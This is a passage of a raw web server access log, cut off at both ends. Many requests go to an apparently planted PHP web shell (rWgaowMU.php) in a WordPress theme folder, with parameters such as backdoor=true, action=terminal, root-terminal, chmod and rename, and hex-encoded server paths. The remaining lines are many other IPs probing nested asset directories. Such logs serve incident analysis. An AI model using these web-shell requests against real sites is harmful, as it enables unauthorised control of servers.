+https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:24 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f626c6f636b73 HTTP/2" 200 3088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:26 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jquery&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3503 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:28 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f6a732f7770 HTTP/2" 200 3218 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:31 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f637373&rename=upgrade HTTP/2" 200 3353 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:33 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a71756572792f7770 HTTP/2" 200 3333 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:35 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3221 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:37 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6a6366786564732f77702d636f6e74656e742f6a636678656473 HTTP/2" 200 3138 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:39 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=pagelayer&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3356 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:40 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6a6366786564732f77702d61646d696e6161 HTTP/2" 200 3203 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:43 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a636678656473&rename=jcfxeds HTTP/2" 200 3329 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:45 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jquery&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f637373 HTTP/2" 200 3507 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:47 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e732f6261636b75706c79 HTTP/2" 200 3265 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:49 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6373732f6a732f6a71756572792f7770 HTTP/2" 200 3257 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:51 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73&rename=pagelayer HTTP/2" 200 3351 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:53 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6373732f6a732f6a7175657279 HTTP/2" 200 3216 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:55 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6a6366786564732f77702d61646d696e6161 HTTP/2" 200 3224 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:57 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73&rename=backuply HTTP/2" 200 3299 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:58 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-content&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a6366786564732f6a636678656473 HTTP/2" 200 3241 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:36:00 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a6366786564732f6a636678656473 HTTP/2" 200 3217 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:36:02 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-contentaa&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a636678656473 HTTP/2" 200 3357 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:36:04 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6373732f706c7567696e732f706167656c617965722f6d61696e HTTP/2" 200 3158 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:36:06 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c792f7770 HTTP/2" 200 3332 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:36:08 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f696e636c756465732f6a636678656473 HTTP/2" 200 3316 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.21.144.197 - - [17/Nov/2025:12:36:10 +0000] "GET /assets/backuply/js/js/includes/css/js/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.176.102.0 - - [17/Nov/2025:12:30:32 +0000] "GET /assets/wp/js/js/includes/blocks/wp/ HTTP/1.1" 200 644 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPT/4.3.1" 113.160.158.85 - - [17/Nov/2025:12:30:32 +0000] "GET /assets/backuply-20251107214702/wp-includes/includes/jcfxeds/wp-includes/wp-contentaa/ HTTP/1.1" 200 656 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.178.3.56 - - [17/Nov/2025:12:30:34 +0000] "GET /assets/wp/network/js/includes/backuply/wp/ HTTP/1.1" 200 703 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.247.157.28 - - [17/Nov/2025:12:30:38 +0000] "GET /assets/backuply-20251107214702/jcfxeds/jcfxeds/wp-content/wp-adminaa/wp-adminaa/ HTTP/1.1" 200 654 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.167.115.193 - - [17/Nov/2025:12:30:39 +0000] "GET /assets/css/wp/includes/jcfxeds/wp-contentaa/wp-adminaa/ HTTP/1.1" 200 638 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 113.178.82.242 - - [17/Nov/2025:12:30:41 +0000] "GET /assets/img/js/includes/plugins/wps-hide-login/languages/ HTTP/1.1" 200 634 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPX/2.2.0" 14.166.137.180 - - [17/Nov/2025:12:36:08 +0000] "GET /assets/backuply-20251107214702/plugins/js/includes/jcfxeds/wp-includes/ HTTP/1.1" 200 652 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.188.22.157 - - [17/Nov/2025:12:36:09 +0000] "GET /assets/plugins/js/includes/themes/twentytwentythree/styles/ HTTP/1.1" 200 635 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.96 Version/17.0 Mobile/15E148 Safari/604.1" 14.179.6.186 - - [17/Nov/2025:12:36:09 +0000] "GET /assets/css/wp/js/includes/css/backuply/ HTTP/1.1" 200 620 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 222.254.203.205 - - [17/Nov/2025:12:36:09 +0000] "GET /assets/wp-includes/wp-contentaa/js/includes/js/wp/ HTTP/1.1" 200 652 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.164.44.69 - - [17/Nov/2025:12:36:09 +0000] "GET /assets/backuply-20251107214702/jquery/css/wp/js/js/ HTTP/1.1" 200 672 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Trailer/92.3.3357.27" 38.52.87.131 - - [17/Nov/2025:12:36:09 +0000] "GET /assets/backuply/css/wp/css/blocks/wp/ HTTP/1.1" 200 650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 181.2.8.218 - - [17/Nov/2025:12:36:09 +0000] "GET /assets/wp/js/includes/plugins/pagelayer/images/ HTTP/1.1" 200 627 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.169.212.239 - - [17/Nov/2025:12:36:09 +0000] "GET /assets/backuply/wp-adminaa/wp-adminaa/wp-adminaa/includes/themes/ HTTP/1.1" 200 675 "-" "Mozilla/5.0 (Android 11; Mobile; rv:123.0) Gecko/123.0 Firefox/123.0" 197.53.190.34 - - [17/Nov/2025:12:36:11 +0000] "GET /wp-content/themes/twentytwenty/inc/includes/themes/twentytwentythree/ HTTP/1.1" 200 650 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/116.0.1938.79 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:36:10 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6a6366786564732f77702d636f6e74656e746161 HTTP/2" 200 3259 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.186.31.244 - - [17/Nov/2025:12:36:11 +0000] "GET /assets/backuply-20251107214702/wp-includes/network/includes/jcfxeds/wp-content/ HTTP/1.1" 200 651 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Safari/605.1.15" 14.237.212.231 - - [17/Nov/2025:12:36:11 +0000] "GET /assets/assets-20251112184145/wp-includes/js/includes/jcfxeds/jcfxeds/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 74.7.227.184 - - [17/Nov/2025:12:36:12 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a71756572792f7770 HTTP/2" 200 3265 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:36:14 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b2f696e636c756465732f696e636c756465732f637373&rename=backuply HTTP/2" 200 3327 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 190.181.120.13 - - [17/Nov/2025:12:36:14 +0000] "GET /assets/upgrade/js/includes/includes/includes/includes/ HTTP/1.1" 200 634 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:36:15 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f6a6366786564732f77702d696e636c75646573 HTTP/2" 200 3217 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 193.56.186.171 - - [17/Nov/2025:12:36:17 +0000] "GET /assets/css/js/includes/jcfxeds/wp-adminaa/jcfxeds/ HTTP/1.1" 200 645 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:36:18 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f7468656d6573 HTTP/2" 200 3232 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.171.147.172 - - [17/Nov/2025:12:36:18 +0000] "GET /assets/fonts/includes/jcfxeds/wp-content/jcfxeds/wp-adminaa/ HTTP/1.1" 200 637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:36:20 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6373732f6a732f6a71756572792f7770 HTTP/2" 200 3306 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.247.149.128 - - [17/Nov/2025:12:36:12 +0000] "GET /assets/wp/includes/includes/jcfxeds/wp-contentaa/wp-adminaa/ HTTP/1.1" 200 639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.179.53.111 - - [17/Nov/2025:12:36:12 +0000] "GET /assets/plugins/js/includes/css/js/jquery/ HTTP/1.1" 200 624 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.235.248.76 - - [17/Nov/2025:12:36:12 +0000] "GET /assets/backuply-20251107214702/js/js/includes/css/blocks/ HTTP/1.1" 200 641 "-" "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (4)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36 PTST/240201.144844" 113.172.3.189 - - [17/Nov/2025:12:36:14 +0000] "GET /assets/wp-adminaa/wp-adminaa/wp-adminaa/includes/css/wp/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.25.100.171 - - [17/Nov/2025:12:36:15 +0000] "GET /assets/assets-20251112184145/includes/jcfxeds/wp-content/jcfxeds/ HTTP/1.1" 200 665 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.247.246.16 - - [17/Nov/2025:12:36:17 +0000] "GET /assets/backuply/js/js/includes/css/themes/ HTTP/1.1" 200 666 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Unique/97.7.7286.70" 113.189.231.90 - - [17/Nov/2025:12:36:19 +0000] "GET /assets/blocks/includes/jcfxeds/wp-contentaa/jcfxeds/wp-adminaa/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 201.219.79.223 - - [17/Nov/2025:12:36:20 +0000] "GET /assets/blocks/js/includes/css/plugins/wps-hide-login/ HTTP/1.1" 200 634 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 DuckDuckGo/7 Safari/605.1.15" 14.231.202.241 - - [17/Nov/2025:12:36:21 +0000] "GET /assets/backuply-20251107214702/network/js/includes/themes/twentytwentythree/ HTTP/1.1" 200 664 "-" "Mozilla/5.0 (iPad; CPU OS 17_0_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 14.173.109.69 - - [17/Nov/2025:12:36:21 +0000] "GET /assets/css/wp/js/includes/js/jquery/ HTTP/1.1" 200 618 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.20.23.84 - - [17/Nov/2025:12:36:23 +0000] "GET /assets/wp-includes/wp-contentaa/js/includes/css/blocks/ HTTP/1.1" 200 635 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.172.31.137 - - [17/Nov/2025:12:36:25 +0000] "GET /assets/backuply/wp-content/wp-adminaa/js/js/js/ HTTP/1.1" 200 653 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 123.20.30.135 - - [17/Nov/2025:12:36:26 +0000] "GET /assets/assets-20251112184145/wp/js/includes/plugins/siteseo/ HTTP/1.1" 200 639 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 113.192.31.35 - - [17/Nov/2025:12:36:26 +0000] "GET /assets/includes/js/includes/includes/css/upgrade/ HTTP/1.1" 200 625 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Trailer/93.3.3695.30" 14.229.112.255 - - [17/Nov/2025:12:36:27 +0000] "GET /assets/assets-20251112184145/blocks/includes/css/backuply/wp/ HTTP/1.1" 200 716 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.78 Version/17.0 Mobile/15E148 Safari/604.1" 123.18.177.79 - - [17/Nov/2025:12:36:20 +0000] "GET /assets/backuply/wp-content/wp-adminaa/wp-adminaa/wp-adminaa/wp-adminaa/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:36:22 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f626c6f636b732f7770 HTTP/2" 200 3338 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.168.56.11 - - [17/Nov/2025:12:36:23 +0000] "GET /assets/blocks/includes/includes/css/plugins/backuply/ HTTP/1.1" 200 630 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:36:24 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f696e636c756465732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3086 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.160.251.99 - - [17/Nov/2025:12:36:24 +0000] "GET /assets/wp-includes/wp-contentaa/themes/twentytwentythree/patterns/wp/ HTTP/1.1" 200 670 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 74.7.227.184 - - [17/Nov/2025:12:36:26 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6373732f757067726164652f7770 HTTP/2" 200 3315 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:36:28 +0000] "GET 